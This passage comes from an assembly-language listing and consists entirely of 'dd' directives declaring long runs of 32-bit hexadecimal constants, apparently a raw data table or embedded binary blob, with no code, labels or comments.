dd 569EA5E4h, 4DA62705h, 6BC0BD35h, 6396EDh, 472AD8B4h
dd 0FB4F548Dh, 9CD15C00h, 0F367CD77h, 14CE7210h, 0A8C914B8h
dd 0D7592E00h, 0A1C1BE6Ah, 7DE0AD00h, 0D6FE21BAh, 30090756h
dd 0F0740BAFh, 0AB902B28h, 0DB6B9700h, 0EAEC650Ch, 0FDF0DC45h
dd 3BBC27A4h, 0BE8E2680h, 4DF985B8h, 0EF6F380Eh, 0FAFEE0DAh
dd 2A5BCh, 94544CA4h, 0FF9CAA80h, 8A90E601h, 114D26B3h
dd 9013F1F4h, 3D320058h, 0A480B51Bh, 0DC0027E5h, 1506F2BBh
dd 4A7311h, 0E4055C84h, 0E2A9834Ch, 63DA9B00h, 0D455416h
dd 1403009Fh, 414BF9B6h, 0A000ECFBh, 70BAD31Dh, 23884BDh
dd 63B09FF0h, 0A660AEE8h, 0EDF40679h, 456E5300h, 0A5090561h
dd 9C560790h, 84FB8DA6h, 0F56CC0C7h, 870E1849h, 40F136AAh
dd 43D8ABEDh, 726BF232h, 345A0035h, 0D95D745Eh, 0D707BC4Dh
dd 0D45C271Ch, 0C3CD4460h, 46BA007Ch, 0D4E3A42h, 653B40B3h
dd 0F31CF807h, 2A8089CAh, 3E75CD8Fh, 0CED104B0h, 0FF61A8EEh
dd 43BA2580h, 3F0600FEh, 0E1D077BCh, 7100AA49h, 5110A078h
dd 7AD30818h, 0FC3E012Bh, 0DF88A868h, 3FB7E498h, 6CA4B301h
dd 0F64A1B30h, 778C1E4h, 0A5CA370Bh, 274F6046h, 0EE0352FAh
dd 47F6F28Dh, 32A18943h, 23FBECh, 0D0DC4FA2h, 46D2E269h
dd 0F2018200h, 7461E33Dh, 0B694C0AAh, 8C1D984Eh, 0F740D800h
dd 2228ABF1h, 2F660CE3h, 830E9A8h, 7962BE00h, 55FDCBB5h
dd 7A5D00C5h, 33512004h, 2D001165h, 5BE6FB49h, 14F74D2h
dd 7E47553Bh, 0DCF661D4h, 51E5670h, 0D2C0EB3Ch, 94E47591h
dd 9A510043h, 333FFEEAh, 0BB03A356h, 0B4D7A1EDh, 6A09F95Eh
dd 476ECh, 0DAC380C8h, 6175FB83h, 8371113Dh, 16544B09h
dd 0EF88B032h, 176F00A9h, 0C339E929h, 0E80FD70Ah, 8A308EECh
dd 5C008C71h, 0D3E2ED1Dh, 349E008Ch, 3F98B9B5h, 0C607C3F0h
dd 1008B80Fh, 74AA46BEh, 918901B0h, 34A06D9Eh, 56808328h
dd 0D8FC2AC6h, 4EACEDh, 0C2373105h, 5EF08E17h, 0F2C76900h
dd 5930A455h, 0CD570B19h, 377BC77h, 0B8BDF937h, 0E2263Ah
dd 0E302B298h, 96FDE71Ch, 3D4F951Eh, 0AF404C9Ch, 0B125FF97h
dd 467682h, 0E6F21FB8h, 0A0B30E2Fh, 0EB07DAE6h, 7C0D3F58h
dd 0F166CB1h, 81B4A980h, 0A476E3Ah, 0D6A5D41Fh, 6CB2B340h
dd 7176F7B9h, 0F1F807DEh, 9730DB66h, 8315407Ah, 2F00FCFFh
dd 0D419A732h, 0C5569DFh, 312BC93Fh, 0FF7FDB60h, 50ED402Fh
dd 27F700EAh, 0D7D4C8CFh, 3C003B0Eh, 6E956123h, 7E2DE4E7h
dd 0BA300135h, 56042C73h, 0CDC08065h, 99C4B33Ch, 0D0CE804Fh
dd 40665A40h, 0E500286Bh, 162FB2Ch, 77E9BF1h, 46DDD921h
dd 0C943418Bh, 2AD16054h, 24727500h, 6B4F227Fh, 0ADC700C1h
dd 0F123396Dh, 7B04D305h, 371D01B8h, 0E0F8C481h, 4AFBA8CBh
dd 8ED11D99h, 2F6B4074h, 0FC802A11h, 941AB800h, 0B09D00Dh
dd 0B97F0022h, 0EBE959FBh, 0A8035C5Fh, 62820831h, 0F350C9E0h
dd 4D6DD940h, 0EDA51844h, 0F795C824h, 802CB93Dh, 968AC51h
dd 3B4E0FF5h, 0D181E97Ch, 72BFCDD4h, 0D938E470h, 2F174200h
dd 86F51359h, 30B40352h, 0F675B5E7h, 2B9479F8h, 22812809h
dd 0A70C8078h, 0A5E6DFh, 0FE73B96Dh, 0FA9CFDE4h, 287AFC90h
dd 5B847809h, 0A84B80F0h, 0F6C2D9h, 0A69D143Dh, 36D7BA6Fh
dd 4E7E7D00h, 7BE25A70h, 0A4514805h, 0DF845D00h, 0D866AF54h
dd 7ECE0700h, 7217FB50h, 8A040F25h, 82875B3Ah, 0C3DD713Eh
dd 7003E930h, 8100A796h, 33493C4Bh, 2293B6Fh, 60DF89DAh
dd 8C806803h, 0F9314532h, 4C8FDE00h, 0CB6F409Bh, 67B700FAh
dd 22CA5F90h, 4A00B31Bh, 815D7987h, 0F6124966h, 3D9F1F5Eh
dd 0E76A4037h, 0BBFD7740h, 0EB795500h, 0B357FF0Bh, 1DBF0262h
dd 2C93DE99h, 18545760h, 319D60Fh, 0FB0A2005h, 1DF2C4B2h
dd 0FC4E5140h, 96614C00h, 6C1B2DFFh, 86563600h, 0A694ABBEh
dd 2C9D1853h, 0A2E2B86Fh, 1752FC03h, 0EFFBB5h, 0B6D30EF8h
dd 0BC92DCA8h, 0A11D0200h, 0D4C727CCh, 87F10397h, 0B7826463h
dd 57E0488h, 6DCA1B18h, 8BA55C50h, 0B302ECF8h, 76B4C05h
dd 0A0041910h, 0C4C07679h, 0E32D89h, 87AAF720h, 162B0CCAh
dd 2842F03h, 9047BB36h, 28AE190h, 2C32D19Dh, 0A881F86Ch
dd 0D1A3790Ch, 7A48808Dh, 7DFB8AC3h, 26A213B0h, 0CEC00F3h
dd 6F548036h, 0F8BCF55Ah, 0F6711703h, 9798FF04h, 1300734Eh
dd 45D01C61h, 0DF0BECh, 5B75E412h, 0C906A292h, 8FE61400h
dd 9E7F748Bh, 0CD240097h, 30E21DD6h, 5260B222h, 8EE2CF0h
dd 0D40C4814h, 6F81643Ah
dd 9A5B1393h, 18832BCh, 0E3048FDCh, 8AD4DBEEh, 0C789089h
dd 5BAA39FAh, 0F005CAA0h, 1524C7A4h, 0FC6D2090h, 0A8C80065h
dd 61FF4C4Ah, 0A71D282Fh, 5280F172h, 0C4388D07h, 86E2A180h
dd 0CA2F70h, 35FFB48Bh, 0CF732068h, 0E20072F4h, 74837AEBh
dd 0DDF499h, 0FECC87E6h, 49F05ADh, 4B30F301h, 2CAB071Dh
dd 79C902C0h, 0C04700B8h, 0F21B09ADh, 15006BD6h, 0AEA735C3h
dd 2FD227h, 41863FE6h, 80D8E5B8h, 0ABD8200h, 0B353F692h
dd 0A446006Dh, 5179CCEFh, 0E5009D49h, 607CCB99h, 0A31DEBh
dd 6F98B02Ch, 478C3D27h, 97F1824h, 0CB11A00h, 160E24h
dd 7DFECDBCh, 744805Bh, 86C8EB00h, 11FFEE19h, 828738CAh
dd 7E04479Fh, 0E42D2400h, 4213A5C4h, 0EFC21F01h, 9807D2D0h
dd 0F092AF43h, 64C31Ah, 2590BDEDh, 0E3403FB8h, 3D8ED500h
dd 0C689F348h, 242C005Bh, 6B36B2D3h, 5C07F04Eh, 0FD2D265Eh
dd 0B32E8710h, 0F6071F6Eh, 9FB6C0DAh, 0CE53EAE8h, 8046983Eh
dd 3F37D534h, 0EF7008D6h, 0E6D0D2F5h, 5A160077h, 0B69CEF73h
dd 7400E4FDh, 6DB014E7h, 0DE13D0h, 0B359B95Eh, 33B178A3h
dd 588239h, 86420FFEh, 7314A4B5h, 780EE74h, 0C9EE279Ch
dd 3D2AB06Bh, 4073D67Dh, 6DEAAA01h, 775C3184h, 0BCCDD4h
dd 46E49A29h, 8AC021C3h, 4C26E900h, 0EC420ED3h, 0CA990093h
dd 0E635CDD9h, 0D60F1FC3h, 0A1D24898h, 1CE9F3EDh, 1D29EF60h
dd 259542D3h, 0F878F561h, 5500FE79h, 1B15EC20h, 1FB7A40Eh
dd 1F78797h, 0C2538143h, 5F18C079h, 0D870E969h, 0A36D00D8h
dd 0E825DC29h, 8D077DFDh, 0BD26160Ch, 79EC65E0h, 0FBF3141Eh
dd 0E41EBC02h, 0EB1943BFh, 8490BE46h, 0BB00D2F6h, 0F47A2E2Ch
dd 5D947h, 0E0ABF89Dh, 0F9C2B850h, 438D4F00h, 5659D578h
dd 44BC000Ch, 14D9365Dh, 6FEE3D8Fh, 776B5F00h, 72CE5BD3h
dd 875002Dh, 91222A9Eh, 0F8038C0Ch, 0BFFCA63h, 3BA00948h
dd 37038578h, 0C09501A9h, 0C5E0F215h, 3874BF00h, 0ACDEF5C7h
dd 8B680044h, 3EAD0834h, 0E53BB98Ah, 3A9591Eh, 0BFEC412Fh
dd 4A8F8AAh, 71880261h, 696A0E7Ah, 3FE5DEC1h, 7D95EBA0h
dd 89310098h, 0DD7F58EFh, 40093FCh, 0B16D4F53h, 2484B04Ah
dd 6DA7EBh, 742F35F8h, 0A40CDDF0h, 98C75738h, 0ACA03B50h
dd 0E78C1DB8h, 0B1C9126h, 0C1F4C600h, 7CFB256Dh, 0B3AC00DAh
dd 0B9219DFAh, 5E06802Dh, 0B72CBF06h, 0D0C4000Ch, 0CB6D84FFh
dd 0FD00AFE9h, 87134A39h, 0C4FAA04h, 1C74FCB2h, 0B879D610h
dd 1BEAF900h, 926FB6BBh, 0E06A4F37h, 94003FA3h, 6B8A7BD4h
dd 90082FD0h, 28E53C1Ch, 0B1B41F02h, 0E609134h, 80EAFF9Bh
dd 68D3AF06h, 0F0884Bh, 0A55A9AE9h, 8189EC56h, 0C6B8700h
dd 0E00FC5EFh, 5B48C0B4h, 0BFCFA337h, 5616BA00h, 86EFC868h
dd 0D9EAB0h, 3472829Bh, 0FD190713h, 8E212309h, 7374037Ah
dd 0F705E8C6h, 91E23DDCh, 804A879Dh, 9E6A9835h, 0D100DD6Fh
dd 545D0729h, 6B6546h, 10206E87h, 0D2C10E42h, 0FCF59E7Fh
dd 0CB1E1271h, 7983BEA4h, 0A091EBC3h, 457A39h, 62999730h
dd 0FE669F10h, 423D0DE4h, 0B0713822h, 0E7D14005h, 34F63E4Bh
dd 84BF6100h, 0BCEEB5B4h, 0DFD42300h, 3CE2E1B1h, 0D58D0079h
dd 8706C6A6h, 0E5003591h, 555D7DC8h, 736C5327h, 447B73h
dd 0A79001DAh, 0FDFC7097h, 0ACE03F0Fh, 4C71A0D0h, 1EC61B74h
dd 3DE429B1h, 5289FE80h, 0B6128A49h, 16200503h, 907F862Dh
dd 1327D8h, 806B0926h, 2588BFF0h, 6547661Eh, 450EF380h
dd 78BD777Eh, 0DCEC1Ch, 1067EE83h, 6938924Ch, 18DB4100h
dd 3B717DCCh, 0A087E0CEh, 1F45DFF0h, 8047784Ah, 3CF4F233h
dd 0E100632Ch, 3B1AAAA7h, 0CA2925h, 82DD9186h, 19BD4052h
dd 0B0AF7D1Ch, 21D1C9C0h, 0BC8738Fh, 66E9813Ah, 0E3008F0Bh
dd 97DA88B8h, 5468E0Fh, 2BB1E085h, 7402B424h, 5AC90056h
dd 0C328DDB3h, 543A114Ch, 55FC0E4Fh, 2BC8A039h, 29B9Eh
dd 2001D77Dh, 6998F5E9h, 0E2464500h, 4BA47BC7h, 774D0A8Dh
dd 0A48685h, 0F0ADE178h, 2E783AFAh, 4C2A5D1Ch, 1C9C1D98h
dd 0A0C04C9h, 90CA7F96h, 0A0AFABE8h, 0DB3FA70Bh, 5BA20038h
dd 7D0BFAFDh, 0B09BFE63h, 3BB512B4h, 9DC440B8h, 9F995486h
dd 67660B00h, 0D6D8E9CDh, 936000C2h, 91F809DDh, 0B303A23Bh
dd 0F66A959Ch, 882BD09Bh, 1AE80054h, 0A1129FAEh, 0CD00D546h
dd 495F3C73h, 7702531h, 0CF0E63ABh, 0C4F8500Ah, 0A901475Bh
dd 78600D4Fh, 75E09916h, 7BF7C10h, 9ED79030h, 509FF00Bh
dd 730EFDB1h, 0A0049556h, 131D0E15h, 14FA00E7h, 4329DF06h
dd 6000D7BBh, 2BFBA218h, 37ED52h, 0A24599Fh, 0CF557DCDh
dd 84923C14h, 35007690h, 0BB7A28BAh, 24E2A3h, 11931C2Fh
dd 294A9A96h, 0BA191600h, 903FC1B6h, 2AD00002h, 0A1BE2EAAh
dd 2105CC0Dh, 58A7DF10h, 772238C7h, 981043D9h, 1E6278A8h
dd 811EA16Ah, 0FA175899h, 0BF7E6001h, 0FC74D1E1h, 6600AB51h
dd 0FB655E72h, 0DB29F8h, 6DB9AA7Ah, 0EF4854F4h, 3BA90E3Eh
dd 0BD118085h, 0E8198B6Bh, 0CDCE018Dh, 0A12CB772h, 0A886ECE0h
dd 0F2635303h, 0AAE43CDEh, 8D194079h, 0B2B61F75h, 3405C2DFh
dd 80A1EC37h, 0DCDA0CEBh, 9100C5ABh, 2718551Ch, 1B4D49Ch
dd 17561B92h, 0E8D39D02h, 5758FD8Fh, 0D79114CEh, 111D3418h
dd 7FE8480h, 622F4CD8h, 60ACC918h, 5F3E3186h, 0A8C5070Fh
dd 1470656Fh, 2640312h, 4745B80Ah, 0D848105Bh, 1CA06D6Eh
dd 7000B22Dh, 6F6A2CDDh, 2A882FD7h, 2CCA6Eh, 9CE20F60h
dd 0B4B0A8B8h, 7200D4E8h, 0E3461F0h, 306FBAFCh, 5C31AFA0h
dd 3143A10h, 5B385A47h, 0EBA63280h, 9D30C9AFh, 5F63EC01h
dd 0D218C804h, 80396230h, 21792FD4h, 470AC76Eh, 0B4002459h
dd 57C08C18h, 61460FB3h, 49C00FECh, 0B24BD8Dh, 1E67163Eh
dd 939FC5CFh, 70BBF8h, 0C4A4109Bh, 0EDB864h, 437BE257h
dd 53C393E4h, 549A171Eh, 607ECD85h, 0A18FFC00h, 3D88D45h
dd 0A9401DF1h, 0EE88D670h, 3B009417h, 9A991981h, 1084F7h
dd 7AAD7D95h, 8F60BC36h, 34BB2C00h, 0F88073DCh, 3274C3h
dd 850B69A7h, 0D9284D6Bh, 312C9F09h, 89D480E2h, 0CABCD4h
dd 0EEE7E0Ah, 46B59012h, 339E771h, 4EA10075h, 0DFDA0AA3h
dd 0BC941EB0h, 0B8434093h, 6CC9F01Fh, 219ABF00h, 3B3332F3h
dd 0D5E4D6h, 0DBA8E53h, 61EC8CB5h, 0C0854A05h, 0AC42B16Fh
dd 85D1BF90h, 0E2C1C2FCh, 898DA47h, 97121A4h, 9C4ED200h
dd 0A51A544Fh, 3FA0F638h, 85006853h, 0DA431017h, 2500132Ch
dd 0D5973A1Ch, 0A47D5D87h, 0DB4B00D8h, 0F8B7C1EEh, 0BAB0988Ch
dd 3A6408C0h, 19661Fh, 5FE8DEBDh, 5173279Bh, 0C1184860h
dd 0DBD006h, 9EAE752Eh, 457C7764h, 8AE80202h, 0DD66DE9Bh
dd 1040FEE0h, 0A6424B0Fh, 47FA6685h, 0E8F040h, 736F9965h
dd 0BB5F2F0Ch, 0D6085B66h, 6DE20021h, 0F81A9699h, 0F3488328h
dd 8DDE3EF5h, 8958C436h, 7B9545DCh, 7510C14Ah, 9E2D3897h
dd 742E920h, 631B365Ah, 0F5310096h, 0DC23D654h, 6900A0D1h
dd 0CD380BE0h, 7AD7F40h, 792D451Dh, 1E20D366h, 3F486000h
dd 9CCA9E15h, 2E880706h, 46BF0F04h, 5A002128h, 2C3A9DDEh
dd 47A996h, 544DF8EAh, 0D88ED318h, 80902168h, 8C37730Bh
dd 0C110CFh, 124E61DFh, 9AAF6662h, 0F450FD00h, 74E0E449h
dd 0EEC504B5h, 0C170633Bh
dd 0D0CC4FBAh, 291C3E40h, 4E00067Ah, 46DCE56Dh, 6FE47485h
dd 0A7C021B2h, 2071C005h, 4AB16000h, 0C826FEFAh, 0EC400CBFh
dd 0C928C4F1h, 1C00A173h, 0B362A7Fh, 0CC8556C5h, 9721E508h
dd 0CB071CF8h, 47A301A0h, 7EC34B51h, 5C09C8h, 635EC6A8h
dd 3E416516h, 39D4EE30h, 0BB110BEh, 0D3361778h, 565D87D5h
dd 0F0833880h, 0DEE076Bh, 21248950h, 8098DFD5h, 372EC139h
dd 0C046497Dh, 8C076011h, 0B106D86Eh, 29CFC525h, 38F43008h
dd 8CEC8520h, 3AA8BF18h, 73234010h, 12780071h, 94B52972h
dd 3E01C669h, 0B86B3D5Dh, 2880BA34h, 83546AFDh, 6E0EEAEBh
dd 807B5EA2h, 0BB8006B0h, 0CB8F01CFh, 5A4D3BF8h, 74E883ACh
dd 735C0A4h, 2AE00441h, 9FC05C49h, 0A046EA0Ah, 4183D85Eh
dd 0D13FADh, 0AF013510h, 1F3D4E0Ch, 0F333D404h, 0A687F758h
dd 0E51E205Fh, 0DEA02Ch, 9624015Fh, 80FCFE7h, 0FC32B007h
dd 0C960CA68h, 5870DBF4h, 0E0508721h, 62910FA2h, 5E1968Fh
dd 0D10C4EA6h, 0AA218014h, 0AE0919Ah, 0DA5B001Fh, 0D2AB374Ah
dd 66330376h, 98545028h, 311925EAh, 2739241Fh, 2EFFF092h
dd 10550B37h, 7EC5DFB0h, 0ADF40376h, 0ACEA8E6Ah, 80685AA1h
dd 0C6174D20h, 1168952h, 9E0BF8EBh, 10762F61h, 7B9F85E6h
dd 4CD970A7h, 7060B5FAh, 6EDA9C0Dh, 0F7EA90C7h, 9A00E837h
dd 61E55E3h, 9D17F24h, 8D0D9827h, 38348FA8h, 9A01A083h
dd 28005863h, 486C94F3h, 0CF7273h, 0AA33E216h, 4FDE7484h
dd 9E001B7Bh, 0C9D2306Dh, 7C344Ah, 25AE9C97h, 4F5D44F9h
dd 24B50100h, 3B60A2F7h, 8632000Bh, 6D9D82D9h, 727BE38Ch
dd 2634B500h, 9E74DD6Bh, 335C0094h, 813964FEh, 3C16B251h
dd 0DC039D88h, 0E88B8624h, 263C666h, 0F5A7439h, 209E3BB3h
dd 897FFB10h, 2862F4C0h, 300E0B56h, 0D9E75h, 0A594A74Bh
dd 0F4ECF0EEh, 600FF8F1h, 9562063h, 71032D4Bh, 0AF0C16B2h
dd 5458150h, 0FBB01E10h, 9C84A250h, 7408C160h, 0B0507F0h
dd 0D5BA4647h, 71C8D980h, 4360A93Bh, 5CDF1BF0h, 2E1754Fh
dd 1E9DF725h, 0A8A0215Fh, 0E2D747FFh, 6A559200h, 2A23E581h
dd 0C8EC0E38h, 0D81D3016h, 0F39E684Ah, 683C6229h, 6B4B0400h
dd 86F00595h, 520844h, 0AEF84BEDh, 5DA6C3E1h, 0EB53C0FFh
dd 994F5B0Ah, 90B2D8BCh, 4F122755h, 0AC8B28C3h, 94D41000h
dd 4EF5BDD2h, 0DDE19B2h, 50E5085Fh, 0CB703684h, 40F12000h
dd 0F603A360h, 0AFA1C012h, 0BEEAFB45h, 42FD1976h, 0A7304630h
dd 46F5E0D2h, 1E82286h, 0FCCB6F37h, 0D48EB94Fh, 5F20EFDDh
dd 9520C551h, 84C44098h, 0B386A1AFh, 0D8B26E50h, 1294E93Eh
dd 184B766Fh, 0E31C006Dh, 3B08BB58h, 747912FFh, 214763FEh
dd 30D727F9h, 0E8351638h, 7B31EF0Eh, 4C43A0C0h, 7E2FA380h
dd 0F8E1C0E5h, 0BD0831BAh, 0E822EA04h, 66C0B6C4h, 0CF720C3h
dd 9CFA6DB8h, 0FE0074F9h, 45221D44h, 3390FC42h, 0A908532Bh
dd 3C642100h, 32B3DE1Dh, 0C7B82Fh, 298119A0h, 9D8FA76Dh
dd 27460090h, 0A84B0101h, 0CEE8D94h, 0E5F8804h, 18604B00h
dd 0B29A2316h, 0B60C3037h, 2FE85671h, 615828C0h, 5C6270h
dd 7D97180Ah, 6FB57EB7h, 0D79D6A1Bh, 3553D031h, 8A72ADh
dd 711E348Bh, 87921F5h, 6B22B300h, 11F38077h, 91572876h
dd 0ABE301F0h, 0FCE88A37h, 644BF279h, 0E20D07E0h, 90857319h
dd 6181AD9h, 94914B04h, 502CF095h, 874BEF3Dh, 0BF01A89Bh
dd 2A43C00Eh, 48D4D0A5h, 3E23FC68h, 954BCA01h, 284AF594h
dd 4BB1AC00h, 9BED321h, 98C84101h, 9961D90Eh, 72758030h
dd 6779806Eh, 83067100h, 0EE70519Dh, 661A01D5h, 7572C3CAh
dd 65E181F3h, 5830DDFh, 0AF7DC8h, 2CE2AD6h, 8ADD8FC6h
dd 9EF5FE09h, 31500EB1h, 4DE32280h, 0A2140BBh, 1ED81113h
dd 178E3A2Ah, 45B2C05Fh, 133A3B0h, 0A3961E8h, 22F23179h
dd 0ECC00028h, 466E7113h, 9447D9Eh, 0A0F8DC89h, 40D660A4h
dd 59877753h, 0B8C400B3h, 0C65894ADh, 0F8FA098Ch, 43C33700h
dd 1D9C6065h, 0B67900A7h, 0D347314Dh, 0FF006323h, 0DC35D40h
dd 0F0623F39h, 1CB3F4D1h, 0C0EEF23Ch, 0D57DEDFAh, 4CA0AD4Ch
dd 0D0F5189Ah, 0BD03EE2Ah, 0FA82472h, 0F5738812h, 97320EFCh
dd 6ED21578h, 939000Ch, 5A02AA73h, 24FA4D1Bh, 41AE0803h
dd 8F9094DFh, 8700E5A8h, 7F9A696h, 291A40F3h, 0BE074BAh
dd 0CC5E9BDAh, 0BBA23700h, 0FDA55Eh, 0E687576Bh, 0EB860EC8h
dd 79311205h, 6C006F02h, 92D72680h, 6549C0DCh, 0B4B1956h
dd 0F5C5F401h, 6E166A2Fh, 8A1C309Dh, 0E0D88131h, 0B893FFA0h
dd 2FB88D4Ah, 58802049h, 62452E1Dh, 60AE448Ch, 0CD1D5001h
dd 8FE31FDBh, 1AF4B034h, 914F8BD7h, 0F900E466h, 0C2D886Fh
dd 85C1F8h, 5EDF67EAh, 3977EBFFh, 4418D69h, 6A605DD8h
dd 0F6239FCBh, 0E6115Eh, 27CB72B4h, 60758247h, 1FD7793Bh
dd 171FA9D2h, 0DB0ADD8Ah, 20079814h, 80876C2Dh, 0D9603A8h
dd 95A13CF1h, 0BCAC532Eh, 0C0840AE7h, 452C1D46h, 5E8E5243h
dd 0B5701D20h, 8C09E329h, 80055C93h, 9033E681h, 979133D5h
dd 7DA2C299h, 2504C04Ch, 38BB46E3h, 9AC9F140h, 68394D40h
dd 0AD041C3Fh, 365AAE40h, 38C21EE8h, 4CBF9BE7h, 0FE85F203h
dd 57C8A5F4h, 4DFA3F6Eh, 0D5E2DD1Eh, 6B528B01h, 199D68CAh
dd 0A5A83F76h, 0C0C83D14h, 0CA0F1300h, 0DAE6B157h, 216408CCh
dd 76D8002Ah, 0AA3757Eh, 250E24CCh, 9EE72B27h, 0A4307B83h
dd 9D10C9A8h, 669F9198h, 0FE03045Bh, 0F4BC69D1h, 0A893A1D0h
dd 24D82081h, 0D4F3A076h, 2007785Dh, 0C1C0533Ch, 53DBA60h
dd 87130649h, 0BE0F29A9h, 0CF8BE101h, 0E3404299h, 70B27CE4h
dd 90AF0068h, 0FE9221DFh, 7DE8CB85h, 0D14C9100h, 0BC4BF509h
dd 47FB00EEh, 0B431B298h, 8F006BC8h, 4938DB34h, 1C811AECh
dd 4FFD6275h, 0BBA0E225h, 85487254h, 98EE3Ch, 979C41B5h
dd 0A0AFE9A4h, 3799D5h, 11E061C6h, 47B2CE84h, 40152E30h
dd 136E4Ch, 0F1D845CBh, 7EEDFFD0h, 3A3EDAE0h, 0A9E4806Ch
dd 46AD90D9h, 854239E2h, 825501F9h, 0BE0D48C0h, 0C8C07F68h
dd 12CC4D0h, 14FE0343h, 807F239Eh, 77358940h, 6EFA34h
dd 0A8CF6682h, 406B1420h, 67A580C0h, 0DEE424h, 683B5D27h
dd 0E523DC28h, 6F9FC300h, 0EF21909Bh, 84A60066h, 0E6E4CE82h
dd 0DD5097FBh, 337C6E9Dh, 42CBDA00h, 0FA4D8D95h, 1ABB0CC6h
dd 9EC0077Bh, 3044F201h, 0C5029FA1h, 76095CE8h, 0AB4B3A7Dh
dd 0E6643380h, 0E8FED20Eh, 34415B00h, 2D453855h, 9D273C61h
dd 6283EF02h, 20806BB4h, 90AE6A5Dh, 0B0C8D700h, 0F9888DD8h
dd 0E0F2545Fh, 0C13200E1h, 83FF1C44h, 38053D1Dh, 0B11B9762h
dd 0C810C02Fh, 4D74C012h, 96C352h, 2679B3D3h, 0F69AE35Eh
dd 8EC03767h, 3FEE013Bh, 4080F066h, 968A56C5h, 0EF003707h
dd 0A4B49F75h, 5DC13D2h, 5CD8CAA5h, 7EA0074Eh, 0FCC70E6h
dd 0FB00D143h, 89647927h, 175AEA8h, 5F60B799h, 43838B25h
dd 26B11AC0h, 63F6F8FFh, 0D8C8EC00h, 21AF49E8h, 0FDD1072Ah
dd 8B8D796h, 30585480h, 1E29E96Ah, 45DDE8E2h, 40F55C41h
dd 0CC75A4E0h, 0B5003513h, 69BC586Ch, 1F399A4Dh, 306563E5h
dd 518E61C0h, 0C5A6850Ch, 0A604064h, 6E374267h, 6AC40280h
dd 0DC0AA8Bh, 0D7FC5A78h, 522F4300h, 25F3B51Ch, 56D80EFCh
dd 0C4E07083h, 9DFE2E24h
dd 0E6EE8703h, 802BE11Ah, 9E3EAEh, 0C37FF672h, 30541195h
dd 0F08E0400h, 2575C0FCh, 0FFF30773h, 0A2AFB4h, 0C193F3Eh
dd 7839CC73h, 70CB00CDh, 0E415AA6Ch, 1C27A45h, 687D9538h
dd 20E9668Ch, 4A0FFD20h, 612F5BC3h, 67B663CCh, 1EED6030h
dd 80015A60h, 34357B51h, 0DFE87A29h, 0F4206D60h, 0ED5D38h
dd 9312E737h, 0A7BF6B83h, 2394434Ch, 84D61E4Bh, 62DA0F15h
dd 0CE28227Fh, 0F32A7B60h, 912FFB04h, 0E0D037BFh, 0BB84EFDh
dd 0F535BCF8h, 3A835F8Fh, 21003626h, 0DBAD133Bh, 2CC42110h
dd 9100289Ah, 1B5D008Dh, 0B9F6ABADh, 0CA023E89h, 26DEA800h
dd 8C1854Eh, 43FC3606h, 7C30BF4Ah, 0F3ED00C4h, 8683D4B3h
dd 9F20209Bh, 0F6A815CFh, 0A85F906Eh, 0AB3CB2h, 21130CCAh
dd 88C197h, 0D626866Ah, 961F72B6h, 0CB6D20C2h, 1EBD4282h
dd 923E2320h, 334D0105h, 0AD107420h, 8C29E6D2h, 0F46744h
dd 9B5EAD27h, 9129BE7Ah, 3CC019C0h, 0E2760Dh, 473133DBh
dd 0BC45D13Dh, 5A5DF70Fh, 61DA0009h, 5D52B4Fh, 100D1F4Eh
dd 16489083h, 0E9FAF36Ah, 0C3762600h, 0F6C6D96Fh, 4A9A2425h
dd 914D8004h, 1011CDFEh, 54AA59h, 7593B269h, 7AEAD448h
dd 304100F1h, 3CAAD758h, 9C031EF7h, 0B58E6C44h, 0AC491ADCh
dd 7805153h, 9AF7E8E0h, 0DC823638h, 0AA3406C2h, 6D84AEAh
dd 0C392AB8Eh, 0F6F0303Eh, 8C4E9900h, 932D1896h, 14790702h
dd 0B039BC62h, 0B7E45F16h, 9615663h, 0EB4B90BFh, 53E805B5h
dd 871E5520h, 0CB3740CCh, 7101BC5Fh, 0E508D4B2h, 5C80ED07h
dd 0A92FE8C5h, 0BC90F3D7h, 0CF004D76h, 0E9D729Ah, 0A4B0DA36h
dd 0BB6019Ch, 6CB2BE41h, 0A990402Dh, 0D007E72Ah, 1A888583h
dd 0F690B620h, 0C68F0579h, 80EAEC9Dh, 47656EF8h, 0C26A2003h
dd 15A97AE4h, 0E88B2450h, 0D500743Dh, 0CB92FD9Ah, 0ACEE3BC4h
dd 1026BA7Ch, 0D71553EEh, 0DF0078A8h, 62A9F617h, 66ABD2Eh
dd 257036F1h, 870060C1h, 339AE241h, 2EC493h, 5518660Ah
dd 4B94C8A1h, 0AE403500h, 15DB4499h, 0CFA43E8Eh, 72AAAD03h
dd 870ACBBh, 10A75430h, 176DC4h, 8CB8913h, 0E0D1EF1Fh
dd 0DE49410Eh, 32750077h, 3A9A12CEh, 2864DD45h, 693A21F4h
dd 9010A112h, 27848B5Bh, 0BD440DE4h, 5FE24435h, 58420C48h
dd 51292642h, 518DE503h, 885516FBh, 62264h, 8B6920FEh
dd 0CF05FACCh, 0D8005270h, 290B30AEh, 0EC3698h, 0DCE1B224h
dd 142DEA8Ch, 0AF400307h, 5D2086EFh, 3C5891Dh, 3CB145C0h
dd 19B8EE68h, 601A428h, 5D9C1207h, 5EC4AF52h, 0FF22261Bh
dd 359700D8h, 488908ACh, 5F34EF00h, 9AF44288h, 0B64500B9h
dd 7665156Dh, 10C0BC13h, 19038060h, 0C3A03F88h, 0C04A54FAh
dd 78E40032h, 17EEB201h, 2700A588h, 0F79C2555h, 0BB1830h
dd 949DA61Ch, 6F954A7Ch, 8807427Ah, 0EE67A472h, 7B889F0h
dd 0F1E02F9Fh, 570A1EF6h, 4187F0D8h, 9DE1BFD2h, 97F4A1F9h
dd 44791C72h, 0B42B41F2h, 20A7DF05h, 0BF1F127Dh, 0D6C0D00Bh
dd 0F8ACD8D3h, 0E723052Fh, 8028FB95h, 0D14AF079h, 0ECB8F4A3h
dd 82FEB27Ch, 0D847D00h, 19B64306h, 0DD160222h, 0B02F61AAh
dd 0AE521C60h, 83CB3B00h, 0A8F37DE5h, 7EB9F29Fh, 33B80030h
dd 1CBC1E2Ah, 4490A56Ah, 0E28E6B00h, 302928B0h, 0CA77001Ah
dd 0DF5D0395h, 0B003FE1h, 0FF752C24h, 3AD45EAh, 0E789540Fh
dd 30DFA1C8h, 0A03E2640h, 0E37E591Fh, 971B9885h, 0BCC9F400h
dd 4452861h, 0EFD31447h, 2D528290h, 62DF8080h, 6B1D26C2h
dd 3BFF0CDEh, 0BF590AF3h, 0A20068DCh, 84B60D27h, 1D0EA0Fh
dd 9EC458C0h, 0DC17383Eh, 89001893h, 0D9D487D2h, 0A81DFCFh
dd 0BCF4B1ECh, 0DB1F08C8h, 40C40B60h, 0CEC80007h, 4147F4EAh
